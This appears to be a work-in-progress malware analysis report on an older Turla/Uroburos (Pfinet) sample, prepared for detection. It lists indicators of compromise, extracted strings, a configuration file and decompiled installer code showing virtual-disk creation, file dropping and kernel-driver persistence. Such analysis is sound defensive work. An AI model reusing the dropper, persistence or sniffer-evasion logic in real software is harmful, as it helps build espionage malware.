TR-25 Analysis - Turla / Pfinet / Snake/ Uroburos

Overview

During the last weeks, various samples of Uroburos (also named Urob, Turla, Sengoku, Snark and Pfinet) were analyzed and reports have been published ¹²³⁴, also analyses about a suspected predecessor, Agent.btz, are public ⁵. CIRCL analyzed an older version of Turla, known as a representative of the Pfinet malware family. The objective of this analysis is to gather additional Indicators of Compromise or behaviors in order to improve detection and to discover additional insights into the malware. This document is not considered a final release but a work-in-progress document.

Static Analysis

Sample A

Hashes:

VirusTotal results for sample A

Scanned: 2014-03-16 01:12:54 - 49 scans - 37 detections (75.0%)

File characteristics

Meta data

Size:    1052672 bytes
Type:    PE32 executable (GUI) Intel 80386, for MS Windows
Date:    0x4AC5A74C [Fri Oct  2 07:10:04 2009 UTC]
EP:      0x4021bb .text 0/5
CRC:     Claimed: 0x0, Actual: 0x110f40 [SUSPICIOUS]

Resource entries

Name      RVA      Size     Lang         Sublang             Type
--------------------------------------------------------------------------------
BINARY    0xd190   0x3dc00  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (native) Intel 80386, for MS Windows
BINARY    0x4ad90  0x1d000  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
BINARY    0x67d90  0x21000  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
BINARY    0x88d90  0x1f9    LANG_ENGLISH SUBLANG_ENGLISH_US  ASCII text, with CRLF, LF line terminators
BINARY    0x88f90  0x37c00  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32+ executable (DLL) (native) x86-64, for MS Windows
BINARY    0xc0b90  0x1bc00  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32+ executable (DLL) (GUI) x86-64, for MS Windows
BINARY    0xdc790  0x24200  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Version info

No version information included.

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x6f34       0x7000       6.582374
.rdata     0x8000       0x1fb8       0x2000       4.803196
.data      0xa000       0x26f4       0x1000       1.559595
.rsrc      0xd000       0xf3990      0xf4000      5.977919
.reloc     0x101000     0x188c       0x2000       2.462180

SECTION 1 (.text   ):
		virtual size                  : 00006F34 (  28468.)
		virtual address               : 00001000
		section size                  : 00007000 (  28672.)
		offset to raw data for section: 00001000
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 60000020:
		  text only
		  Executable
		  Readable
SECTION 2 (.rdata  ):
		virtual size                  : 00001FB8 (   8120.)
		virtual address               : 00008000
		section size                  : 00002000 (   8192.)
		offset to raw data for section: 00008000
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 40000040:
		  data only
		  Readable
SECTION 3 (.data   ):
		virtual size                  : 000026F4 (   9972.)
		virtual address               : 0000A000
		section size                  : 00001000 (   4096.)
		offset to raw data for section: 0000A000
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags C0000040:
		  data only
		  Readable
		  Writable
SECTION 4 (.rsrc   ):
		virtual size                  : 000F3990 ( 997776.)
		virtual address               : 0000D000
		section size                  : 000F4000 ( 999424.)
		offset to raw data for section: 0000B000
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 40000040:
		  data only
		  Readable
SECTION 5 (.reloc  ):
		virtual size                  : 0000188C (   6284.)
		virtual address               : 00101000
		section size                  : 00002000 (   8192.)
		offset to raw data for section: 000FF000
		offset to relocation          : 00000000
		offset to line numbers        : 00000000
		number of relocation entries  : 0
		number of line number entries : 0
		alignment                     : 0 byte(s)
		Flags 42000040:
		  data only
		  Discardable
		  Readable

Strings

The order of strings embedded in clear text in Sample A indicate that this file contains several other files, because the DOS stub (!This program cannot be run in DOS mode.) is present multiple times. We include interesting strings in the corresponding subsection.

Analysis - Installer

Sample A can be considered an installer or dropper. It drops files into the system and initializes the environment for production. First, it probes if a virtual disk

\DEVICE\IdeDrive1\

is present on the system. If not, the virtual disk is being created with file system NTFS, using FormatEx from Microsofts fmifs.dll.

 int __cdecl create_virtual_disk()
 {
   HMODULE hModule_fmifs.dll;
   int result; 
   FARPROC FormatEx; 
   WCHAR VirtualDisk; 
 
   result = 0;
   hModule_fmifs.dll = LoadLibraryA("fmifs.dll");
  if ( hModule_fmifs.dll )
  {
    FormatEx = GetProcAddress(hModule_fmifs.dll, "FormatEx");
    if ( FormatEx )
    {
      wsprintfW(&VirtualDisk, L"%S", "\\\\.\\IdeDrive1\\\\");
      (FormatEx)(&VirtualDisk, FMIFS_HARDDISK, L"NTFS", &gVirtualDiskName, 1, 0, FormatExCallback);
      result = gFormatExCallbackActionInfo != 0;
    }
    FreeLibrary(hModule_fmifs.dll);
  }
  else
  {
    result = 0;
  }
  return result;
}

The presence of the malware’s configuration file is tested:

\DEVICE\IdeDrive1\config.txt

If not found, it is dropped from the resource section 0x88d90.

The following files are dropped depending on whether Windows is running in 32 bit or 64 bit.

%SystemRoot%\$NtUninstallQ722833$\usbdev.sys (hidden)
\DEVICE\IdeDrive1\inetpub.dll
\DEVICE\IdeDrive1\cryptoapi.dll

Independently from the architecture, the file names of the dropped files are the same, but a specific version of the file is dropped according to the operating system architecture.

This is achieved by a logic similar to the following one. This is done for all files except the configuration file.

 if ( IsWow64 )
         {
           res = create_from_resources("#162", "\\\\.\\IdeDrive1\\inetpub.dll");
           if ( last_error )
           {
             error = GetLastError();
             log(last_error, "ef1... %d, %d\n", res, error);
           }
           v29 = create_from_resources("#165", "\\\\.\\IdeDrive1\\cryptoapi.dll");
        }

The function create_from_resources() looks like:

 int __cdecl create_from_resources(LPCSTR NameOfResource, LPCSTR lpSrc)
 {
   HRSRC HRSRC; 
   HGLOBAL hGlobal;
   DWORD SizeOfResource;
   HANDLE hFile;
   DWORD error;
   CHAR lpFileName; 
   char pSecurityDescriptor;
  DWORD NumberOfBytesWritten;
  LPCVOID lpBuffer;

  ExpandEnvironmentStringsA(lpSrc, &lpFileName, 0x104u);
  HRSRC = FindResourceA(0, NameOfResource, "BINARY");
  if ( !HRSRC )
    return 0;
  hGlobal = LoadResource(0, HRSRC);
  if ( !hGlobal )
    return 0;
  lpBuffer = LockResource(hGlobal);
  if ( !lpBuffer )
    return 0;
  SizeOfResource = SizeofResource(0, HRSRC);
  hFile = CreateFileA(&lpFileName, GENERIC_WRITE, 0, 0, 2u, 0x80u, 0);
  if ( hFile == -1 )
  {
    if ( last_error )
    {
      error = GetLastError();
      log(last_error, "ex_fail... %d\n", error);
    }
    return 0;
  }
  WriteFile(hFile, lpBuffer, SizeOfResource, &NumberOfBytesWritten, 0);
  CloseHandle(hFile);
  if ( !InitializeSecurityDescriptor(&pSecurityDescriptor, 1u) )
    return 0;
  return SetFileSecurityA(&lpFileName, DACL_SECURITY_INFORMATION, &pSecurityDescriptor) != 0;
}

Subsequently, after dropping the correct files, the malware makes itself persistent on the system and creates a service with the following parameters, which loads the file usbdev.sys as a kernel driver:

In:           HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services:
Key:          usblink
Type:         1 (SERVICE_KERNEL_DRIVER)
Start: 		  1 (SERVICE_SYSTEM_START)
ErrorControl: 0 (SERVICE_ERROR_IGNORE)
Group:        Streams Drivers
DisplayName:  usblink
ImagePath:    \SystemRoot\$NtUninstallQ722833$\usbdev.sys

If during installation anything goes wrong, the registry keys are deleted. The files however are not.

During the installation process, extensive logging is ensuring good visibility on potential installation problems. The attacker uses english language for the logging, although he is lacking attention to detail when it comes to correct usage of the language, as the following examples demonstrate:

win32 detect...			(should be simple past)
x64 detect...			(should be simple past)
CretaFileA(%s): 		(should be CreateFileA)
Can`t open SERVICES key (that shouldn't be a backtick)

Language deficits are also demonstrated in other files of this collection. We show them in a separate chapter.

A list of dropped files is given in the next chapter.

Dropped files

Sample B - usbdev.sys (Resource: 101)

Hashes

VirusTotal results for sample B

Scanned: 2014-03-23 21:28:41 - 51 scans - 36 detections (70.0%)

File characteristics

Meta data

Size:    252928 bytes
Type:    PE32 executable (DLL) (native) Intel 80386, for MS Windows
Date:    0x4AC48FC8 [Thu Oct  1 11:17:28 2009 UTC]
EP:      0x22d80 .text 0/5
CRC:     Claimed: 0x3e7fe, Actual: 0x3e7fe

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x28084      0x28200      6.325480
.basein    0x2a000      0x135        0x200        3.791369
.data      0x2b000      0x20e34      0x12600      1.335577
INIT       0x4c000      0xebc        0x1000       5.343628
.reloc     0x4d000      0x1de0       0x1e00       6.448244

Strings

Interesting strings:

CsrClientCallServer
ExitThread
LdrGetProcedureAddress
ZwTerminateThread
\SystemRoot\system32\%s
IoCreateDevice
ModuleStart
ModuleStop
\??\%s\cryptoapi.dll
\??\%s\inetpub.dll
services.exe
iexplore.exe
firefox.exe
opera.exe
netscape.exe
mozilla.exe
msimn.exe
outlook.exe
adobeupdater.exe

Sample C - inetpub.dll (Resource: 102)

Hashes

VirusTotal results for sample C

Scanned: 2011-07-07 04:43:10 - 43 scans - 19 detections (44.0%)

File characteristics

Meta data

Size:    118784 bytes
Type:    PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Date:    0x4AC5A6A4 [Fri Oct  2 07:07:16 2009 UTC]
EP:      0x20013857 .text 0/5
CRC:     Claimed: 0x0, Actual: 0x2cb10 [SUSPICIOUS]

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x12976      0x13000      6.509133
.basein    0x14000      0x97         0x1000       0.418760    [SUSPICIOUS]
.rdata     0x15000      0x4ede       0x5000       7.011329    [SUSPICIOUS]
.data      0x1a000      0x15f0       0x1000       5.453684
.reloc     0x1c000      0x152a       0x2000       4.423836

Exports

Flags         : 00000000
Time stamp    : Fri Oct  2 09:07:16 2009
Version       : 0.0
DLL name      : CARBON.dll
Ordinals base : 1. (00000001)
# of Addresses: 2. (00000002)
# of Names    : 2. (00000002)
  1. 00002CB9 ModuleStart
  2. 0000266C ModuleStop

Strings

\\.\IdeDrive1\\config.txt
ReceiveTimeout
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
NAME
object_id
VERSION
User
Carbon v3.51
OPER|Wrong config: bad address|
Mozilla/4.0 (compatible; MSIE 6.0)
OPER|Wrong config: no port|
OPER|Wrong config: empty address|
address
CW_INET
quantity
user_winmax
user_winmin
ST|Carbon v3.51|
\\.\IdeDrive1\\log.txt
Global\MSMMC.StartupEnvironment.PPT
Global\411A5195CD73A8a710E4BB16842FA42C
Global\881F0621AC59C4c035A5DC92158AB85E
Global\MSCTF.Shared.MUTEX.RPM
Global\WindowsShellHWDetection
Global\MSDBG.Global.MUTEX.ATF
TR|%d|
$Id: hide_module_win32.c 10189 2008-11-25 14:25:41Z gilg $
ZwWow64ReadVirtualMemory64
$Id: load_lib_win32.c 10180 2008-11-20 12:13:01Z gilg $
\SysWOW64\
\System32\
CreateRemoteThread
ZwTerminateThread
LdrGetProcedureAddress
ExitThread
$Id: mutex.c 3940 2006-03-20 16:47:16Z vlad $
$Id: rw_lock.c 4482 2006-08-30 13:07:14Z vlad $
%x-%x-%x-%x
%02d/%02d/%02d|%02d:%02d:%02d|%s|u|
search.google.com
www.easports.com
www.sun.com
www.dell.com
www.3com.com
www.altavista.com
www.hp.com
search.microsoft.com
windowsupdate.microsoft.com
www.microsoft.com
www.asus.com
www.eagames.com
www.google.com
www.astalavista.com
www.bbc.com
www.yahoo.com
CreateToolhelp32Snapshot() failed: %d
OPER|Sniffer '%s' running... ooopppsss...|
snoop.exe
ettercap.exe
wireshark.exe
ethereal.exe
windump.exe
tcpdump.exe
HTTP/1.1
%sauth.cgi?mode=query&id=%u:%u:%u:%u&serv=%s&lang=en&q=%u-%u&date=%s
%Y-%m-%d
%sdefault.asp?act=%u&id=%u&item=%u&event_id=%u&cln=%u&flt=%u&serv=%s&t=%ld&mode=query&lang=en&date=%s
lastconnect
timestop
.bak
\\.\IdeDrive1\\
D:AI
@OPER|Wrong timeout: high < low|
Mem alloc err
P|-1|%d|NULL|%d|
P|0|%s|%d|HC=%d
HC|%d|
P|-1|%d|%s|%d|
\\.\IdeDrive1\\Results\result.txt
POST
HTTP/1.0
A|-1|%u|%s|%s|
%u|%s|%s
Task %d failed %s,%d
\\.\IdeDrive1\\Results\
207.46.249.57
207.46.249.56
207.46.250.119
microsoft.com
207.46.253.125
207.46.18.94
update.microsoft.com
G|0|%d|%d|
%u|%s|%s|%s
OPER|Wrong config|
S|0|%s|
S|-1|%d|%s|
logperiod
lastsend
logmax
logmin
CopyFile(%s, %s):%d
CrPr(),WL(),AU() error: %d
CrPr() WaitForSingleObject() error: %d
CrPr() wait timeout %d msec exceeded: %d
T|-1|%d|%d|
Task not execute. Arg file failed.
WORKDATA
run_task
DELETE
COMPRESSION
RESULT
stdout
CONFIG
cmd.exe
time2task
m_recv() RESULT failed.
A|-1|%u|%s|%d|
active_con
m_send() TASK failed.
OBJECT ACK failed.
Internal task %d obj %s not equal robj %s... very strange!!!
m_recv() OBJECT failed.
m_send() OBJECT failed.
m_send() WHO failed.
AUTH failed.
m_recv() AUTH failed.
m_send() AUTH failed.
m_connect() failed.
m_setoptlist() failed.
net_password=
net_user=
allow=*everyone
write_peer_nfo=%c%s%c
frag_no_scrambling=1
frag_size=32768
m_create() failed.
frag.np
\\%s\pipe\comnode
W|2|%s|%d|
127.0.0.1
m_send() ZERO failed.
Trans task %d obj %s ACTIVE fail robj %s
net_password=%s
net_user=%s
\\%s\pipe\%s
frag.tcp
%s:%d
W|1|%s|%d|
%u|%s|%s|%s|%s|%d|%s|%s
\\.\IdeDrive1\\Tasks\task_system.txt
%u|%s|%s|%s|%s|%d
\\.\IdeDrive1\\Tasks\task.txt
%u|%s|%s|%s|%s
\\.\IdeDrive1\\Tasks\
W|0|%s|%d|
W|-1|%s|%d|
start
T|e|%d|
T|s|%d|
task_max
task_min
I|%d|
        reconstructing block ...
%6d unresolved strings
        depth %6d has
        bucket sorting ...
        %d pointers, %d sorted, %d scanned
        qsort [0x%x, 0x%x]   done %d   this %d
        main sort initialise ...
    too repetitive; using fallback sorting algorithm
      %d work, %d block, ratio %5.2f
CONFIG_ERROR
OUTBUFF_FULL
UNEXPECTED_EOF
IO_ERROR
DATA_ERROR_MAGIC
DATA_ERROR
MEM_ERROR
PARAM_ERROR
SEQUENCE_ERROR
codes %d
code lengths %d,
selectors %d,
      bytes: mapping %d,
      pass %d: size is %d, grp uses are
      initial group %d, [%d .. %d], has %d syms (%4.1f%%)
Y@      %d in block, %d after MTF & 1-2 coding, %d+2 syms in use
    final combined CRC = 0x%x
    block %d: crc = 0x%8x, combined CRC = 0x%8x, size = %d
$Id: b2_to_m2_stub.c 5273 2007-01-23 17:41:15Z vlad $
$Id: b_tcp.c 8474 2007-09-19 15:40:39Z vlad $
TCP: closed.
TCP: connecting...
Y1N0
nodelay
TCP: send
TCP: recv
%s:%u
nodelay=1
TCP: resolved %s
TCP: resolving host name...
$Id: l1_check.c 4477 2006-08-28 15:58:21Z vlad $
$Id: m2_to_b2_stub.c 4477 2006-08-28 15:58:21Z vlad $
$Id: m_frag.c 8715 2007-11-29 16:04:46Z urik $
peer_frag_size
frag_no_scrambling
frag_size
Frag: send
$Id: m_np.c 8825 2008-01-10 13:13:15Z vlad $
\\.\pipe\
no_server_hijack
imp_level
net_password
net_user
write_peer_nfo
read_peer_nfo
*everyone
allow
$Id: np_win32_common.c 4483 2006-08-30 13:13:51Z vlad $
anonymous
every1
\ipc$
\pipe\
$Id: t_byte1.c 5324 2007-01-30 12:45:35Z vlad $
frag
$Id: t_manager.c 8715 2007-11-29 16:04:46Z urik $
transports
$Id: t_message1.c 5290 2007-01-26 11:15:03Z vlad $
licence error

Sample D - cryptoapi.dll (Resource: 105)

Hashes

VirusTotal results for sample D

Scanned: 2011-05-08 11:16:36 - 42 scans - 23 detections (54.0%)

File characteristics

Meta data

Size:    135168 bytes
Type:    PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Date:    0x4AC5A662 [Fri Oct  2 07:06:10 2009 UTC]
EP:      0x20015d85 .text 0/5
CRC:     Claimed: 0x0, Actual: 0x2ccd6 [SUSPICIOUS]

Exports

Flags         : 00000000
Time stamp    : Fri Oct  2 09:06:07 2009
Version       : 0.0
DLL name      : carbon_system.dll
Ordinals base : 1. (00000001)
# of Addresses: 1. (00000001)
# of Names    : 1. (00000001)
  1. 00002655 ModuleStart

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x150d5      0x16000      6.417399
.basein    0x17000      0x97         0x1000       0.418760    [SUSPICIOUS]
.rdata     0x18000      0x5380       0x6000       6.450645
.data      0x1e000      0x15e0       0x1000       5.450370
.reloc     0x20000      0x15e4       0x2000       4.991237

Strings

$Id: t_utils.c 5503 2007-02-26 13:14:30Z vlad $
$Id: t_status.c 5666 2007-03-19 16:18:00Z vlad $
$Id: t_message1.c 5290 2007-01-26 11:15:03Z vlad $
$Id: t_manager.c 8715 2007-11-29 16:04:46Z urik $
$Id: t_byte1.c 5324 2007-01-30 12:45:35Z vlad $
$Id: np_win32_common.c 4483 2006-08-30 13:13:51Z vlad $
$Id: m_np.c 8825 2008-01-10 13:13:15Z vlad $
$Id: m_frag.c 8715 2007-11-29 16:04:46Z urik $
$Id: m2_to_b2_stub.c 4477 2006-08-28 15:58:21Z vlad $
$Id: l1_check.c 4477 2006-08-28 15:58:21Z vlad $
$Id: b_tcp.c 8474 2007-09-19 15:40:39Z vlad $
$Id: b2_to_m2_stub.c 5273 2007-01-23 17:41:15Z vlad $
$Id: thread.c 4593 2006-10-12 11:43:29Z urik $
$Id: rw_lock.c 4482 2006-08-30 13:07:14Z vlad $
$Id: mutex.c 3940 2006-03-20 16:47:16Z vlad $
$Id: load_lib_win32.c 10180 2008-11-20 12:13:01Z gilg $
$Id: hide_module_win32.c 10189 2008-11-25 14:25:41Z gilg $
\\.\IdeDrive1\\Tasks\
\\.\IdeDrive1\\Results\
Global\MSDBG.Global.MUTEX.ATF
Global\WindowsShellHWDetection
Global\MSCTF.Shared.MUTEX.RPM
Global\881F0621AC59C4c035A5DC92158AB85E
Global\411A5195CD73A8a710E4BB16842FA42C
Global\MSMMC.StartupEnvironment.PPT
\\.\IdeDrive1\\log.txt
TR|%d|
SR|%d|
ST|Carbon v3.61|
\\.\IdeDrive1\\*.bak
\\.\IdeDrive1\\
\\.\IdeDrive1\\Tasks\task.txt
\\.\IdeDrive1\\Tasks\task_system.txt
\\.\IdeDrive1\\Tasks\*.tmp
\\.\IdeDrive1\\config.txt
sys_winmin
TIME
sys_winmax
\\.\IdeDrive1\\restrans.txt
quantity
CW_LOCAL
address
object
D:(A;OICIID;GRGWGX;;;WD)
Carbon v3.61
System
VERSION
object_id
NAME
CW_INET
logperiod
OPER|Survive me, i`m close to death... free space less than 5%%...|
OPER|Low space... free space less than 10%%...|
ZwWow64ReadVirtualMemory64
ExitThread
LdrGetProcedureAddress
ZwTerminateThread
CreateRemoteThread
\System32\
\SysWOW64\
OPER|Wrong timeout: high < low|
%02d/%02d/%02d|%02d:%02d:%02d|%s|s|
CreateToolhelp32Snapshot() failed: %d
tcpdump.exe
windump.exe
ethereal.exe
wireshark.exe
ettercap.exe
snoop.exe
OPER|Sniffer '%s' running... ooopppsss...|
%x-%x-%x-%x
run_task_system
WORKDATA
\\.\IdeDrive1\\Results\result.txt
I|%d|
task_min
task_max
T|s|%d|
%u|1|%s|%s
%u|2|%s|%s|%s
T|e|%d|
start
time2task
cmd.exe
CONFIG
stdout
RESULT
COMPRESSION
DELETE
%u|%s|%s
%u|%s|%s|%s
Task not execute. Arg file failed.
T|-1|%d|%d|
AS_USER:LogonUser():%d
AS_USER:DuplicateTokenEx():%d
explorer.exe
AS_CUR_USER:OpenProcessToken():%d
AS_CUR_USER:DuplicateTokenEx():%d
CrPr() wait timeout %d msec exceeded: %d
CrPr() WaitForSingleObject() error: %d
CrPr(),WL(),AU():%d
CopyFile(%s, %s):%d
Memory allocation error. Use no compression
frag.np
\\.\Global\PIPE\comnode
frag_size=32768
frag_no_scrambling=1
allow=*everyone
active_con
frag.tcp/%s:445
frag.np/%s
\\.\IdeDrive1\\logtrans.txt
A|2|%s|
W|%s|%s|
m_send() ZERO1 failed
W|%s|%s|%s|
\*.tmp
m_send() ZERO2 failed
R|%s|%d|
\\%s\pipe\comnode
frag.tcp
net_user=
net_password=
write_peer_nfo=%c%s%c
P|0|%s|%d|
P|-1|%d|%s|%d|
P|-1|%d|%d|
nodelay=N
W|-1|%d|%s|
SEND AUTH
W|-1|%d|%s|%s|
RECV AUTH
AUTH FAILED
SEND WHO
SEND OBJECT_ID
logmin
logmax
lastsend
S|0|%s|
S|-1|%d|%s|
Task %d failed %s, %d
A|-1|%u|%s|%s|
timestop
lastconnect
.bak
%u:%u:%u:%u:%u
Freeze Ok.
\$NtUninstallQ722833$\usbdev.sys
\\.\IdeDrive1\\usbdev.bak
\\.\IdeDrive1\\inetpub.bak
\\.\IdeDrive1\\inetpub.dll
\\.\IdeDrive1\\cryptoapi.bak
\\.\IdeDrive1\\cryptoapi.dll
Update Ok.
Update failed =((  Can`t create file.
\\.\IdeDrive1\\Plugins\
Can't create file '%s', error %d =((
Create plugin '%s' OK.
Create plugin '%s' failed. Write error, %d.
PLUGINS
Find existing record.
not_started|%d
Config update success.
enable%s
Config record error: %s = %s.
Plugin not found in config.
Plugin already loaded.
ModuleStart
can`t find entry point.
loadlibrary() failed.
Plugin start failed, %d
try to run dll with user priv.
can`t get characs.
Plugin not PE format.
Plugin start success.
Plugin start failed.
disable%s
removed%s
Plugin not loaded.
Plugin deleted.
Plugin delete failed, %d.
Plugin terminated.
Plugin terminate failed, %d.
ModuleStop
Plugin dll stop success.
Plugin dll stop failed.
Plugin freelib success.
Plugin freelib failed, %d.
Internal command not support =((
%u|1|%s
G|0|%d|%d|
W|0|%s|%d|
A|0|%s|%d|
%u|%s|%s|%s|%s
%u|%s|%s|%s|%s|%d|%s|%s
%u|%s|%s|%s|%s|%d
W|1|%s|%d|
A|1|%s|%d|
%s:%d
\\%s\pipe\%s
m_create() failed.
net_user=%s
net_password=%s
m_setoptlist() failed.
m_connect() failed.
m_send() AUTH failed.
m_recv() AUTH failed.
AUTH failed.
m_send() WHO failed.
m_send() OBJECT failed.
m_recv() OBJECT failed.
Trans task %d for obj %s ACTIVE fail robj=%s
OBJECT ACK failed.
m_send() TASK failed.
m_recv() WIN RESULT failed.
m_recv() ACT RESULT failed.
m_send() ACT RESULT failed.
enable
L|-1|can`t find entry point %s|
L|-1|loadlibrary() failed %d|
L|-1|%s|%d|
L|-1|try to run dll %s with user priv|
L|-1|can`t get characs %s|
L|-1|not PE format %s|
L|-1| parse error %s|
L|-1|  parse error %s|
L|0|%s|
L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|
L|-1|AS_CUR_USER:DuplicateTokenEx():%d, %s|
L|-1|AS_CUR_USER:LogonUser():%d, %s|
L|-1|wrong priv %s|
L|-1|CreateProcessAsUser():%d, %s|
D:AI
TCP: resolving host name...
TCP: resolved %s
TCP: closed.
TCP: connecting...
nodelay
Y1N0
TCP: send
TCP: recv
%s:%u
Frag: send
frag_size
frag_no_scrambling
peer_frag_size
\\.\pipe\
allow
*everyone
read_peer_nfo
write_peer_nfo
net_user
net_password
imp_level
no_server_hijack
every1
anonymous
\pipe\
\ipc$
frag
transports
licence error

Sample E - usbdev.sys - x64 - (Resouce: 161)

Hashes

VirusTotal results for sample E

Scanned: 2009-12-27 12:15:01 - 40 scans - 24 detections (60.0%)

File characteristics

Meta data

Size:    228352 bytes
Type:    PE32+ executable (DLL) (native) x86-64, for MS Windows
Date:    0x4AC48FE7 [Thu Oct  1 11:17:59 2009 UTC]
EP:      0x21454 .text 0/6
CRC:     Claimed: 0x397f7, Actual: 0x397f7

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x2126c      0x21400      6.518352
.basein    0x23000      0xc7         0x200        2.902918
.data      0x24000      0x23a3c      0x13400      1.284443
.pdata     0x48000      0x10b0       0x1200       5.035513
INIT       0x4a000      0x10ce       0x1200       4.944873
.reloc     0x4c000      0x99a        0xa00        4.576183

Strings

The strings correspond mostly to the ones of Sample B.

Sample F - inetpub.dll - x64 (Resource: 162)

Hashes

VirusTotal results for sample F

Scanned: 2014-03-23 21:27:06 - 51 scans - 1 detections (1.0%)

File characteristics

Meta data

Size:    113664 bytes
Type:    PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Date:    0x4AC5A6C2 [Fri Oct  2 07:07:46 2009 UTC]
EP:      0x200149d0 .text 0/5
CRC:     Claimed: 0x0, Actual: 0x1e6b8 [SUSPICIOUS]

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x13b8d      0x13c00      6.247940
.rdata     0x15000      0x582e       0x5a00       6.692290
.data      0x1b000      0x1ae0       0x1400       4.598089
.pdata     0x1d000      0x8c4        0xa00        4.522066
.reloc     0x1e000      0x248        0x400        2.325587

Strings

The strings correspond mostly to the ones of Sample C.

Sample G - cryptoapi.dll - x64 (Resource: 165)

Hashes

VirusTotal results for sample G

Scanned: 2014-03-23 21:26:59 - 51 scans - 2 detections (3.0%)

File characteristics

Meta data

Size:    147968 bytes
Type:    PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Date:    0x4AC5A685 [Fri Oct  2 07:06:45 2009 UTC]
EP:      0x2001bd80 .text 0/6
CRC:     Claimed: 0x0, Actual: 0x32c9f [SUSPICIOUS]

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x1af6d      0x1b000      6.195387
.basein    0x1c000      0xc7         0x200        2.902918
.rdata     0x1d000      0x66f0       0x6800       6.585248
.data      0x24000      0x1b00       0x1400       4.647566
.pdata     0x26000      0xad4        0xc00        4.848795
.reloc     0x27000      0x2a6        0x400        2.344107

Strings

The strings correspond mostly to the ones of Sample D.

Sample H - config.txt

Hashes

Content

 [NAME]
 object_id=
 
 
 [TIME]
 user_winmin =  600000
 user_winmax = 1200000
 sys_winmin = 3600000
 sys_winmax = 3700000
task_min = 20000
task_max = 30000
checkmin = 60000
checkmax = 70000
logmin =  600000
logmax = 1200000
lastconnect=
timestop=
active_con = 900000
time2task=3600000


[CW_LOCAL]
quantity = 0

[CW_INET]
quantity = 0


[TRANSPORT]
user_pipe = \\.\pipe\userpipe
system_pipe = \\.\pipe\iehelper


[DHCP]
server = 135


[LOG]
lastsend =
logperiod = 7200

[WORKDATA]
run_task=
run_task_system=

Analysis - Payload

Sample B - usbdev.sys (Resource: 101)

A very extensive analysis of a similar kernel module of Sample B (usbdev.sys) has been documented in ‘Uroburos: the snake rootkit’ ² by deresz and tecamac.

Sample B also checks for the presence of infection markers in form of events:

.text:00023210                 push    ebp
.text:00023211                 mov     ebp, esp
.text:00023213                 sub     esp, 130h
.text:00023219                 mov     [ebp+string.Length], 70h
.text:0002321F                 mov     [ebp+string.MaximumLength], 72h
.text:00023225                 mov     [ebp+string.Buffer], offset aBasenamedobjec ; "\\BaseNamedObjects\\{B93DFED5-9A3B-459b"...
.text:0002322C                 lea     eax, [ebp+var_110]
.text:00023232                 mov     [ebp+SecurityDescriptor], eax
.text:00023235                 mov     [ebp+ObjectAttributes.Length], 18h
.text:0002323F                 mov     [ebp+ObjectAttributes.RootDirectory], 0
.text:00023249                 mov     [ebp+ObjectAttributes.Attributes], 40h
.text:00023253                 lea     ecx, [ebp+string]
.text:00023256                 mov     [ebp+ObjectAttributes.ObjectName], ecx
.text:0002325C                 mov     [ebp+ObjectAttributes.SecurityDescriptor], 0
.text:00023266                 mov     [ebp+ObjectAttributes.SecurityQualityOfService], 0
.text:00023270                 lea     edx, [ebp+ObjectAttributes]
.text:00023276                 push    edx             ; ObjectAttributes
.text:00023277                 push    1F0003h         ; DesiredAccess
.text:0002327C                 lea     eax, [ebp+EventHandle]
.text:00023282                 push    eax             ; EventHandle
.text:00023283                 call    ZwOpenEvent

or as pseudo-code:

   string.Length = 0x70;
   string.MaximumLength = 0x72;
   string.Buffer = L"\\BaseNamedObjects\\{B93DFED5-9A3B-459b-A617-59FD9FAD693E}";
   SecurityDescriptor = &v4;
   ObjectAttributes.Length = 24;
   ObjectAttributes.RootDirectory = 0;
   ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
   ObjectAttributes.ObjectName = &string;
   ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  if ( ZwOpenEvent(&EventHandle, 0x1F0003u, &ObjectAttributes) )
  {
    ...

That means, the famous Agent.btz marker

\BaseNamedObjects\{B93DFED5-9A3B-459b-A617-59FD9FAD693E}

is checked directly using a UNICODE_STRING structure without using RtlInitUnicodeString(). A brief comparison with other samples, like

or

shows, that this marker is checked in the same way.

The analysis of this kernel module by deresz and tecamac is very detailed. We advise the interested reader to work through their document to understand all the details.

Implemented transports

In this module, the following transport or communication modules are present:

• Type 1: tcp
• Type 2: np, m2b

-> TODO: Compare this with the observed transports in

• userland modules
• modules described in other reports

Disassembler Library

This sample contains a large chunk of code taken from the Udis86 Disassembler Library for x86 / x86-64 project⁶

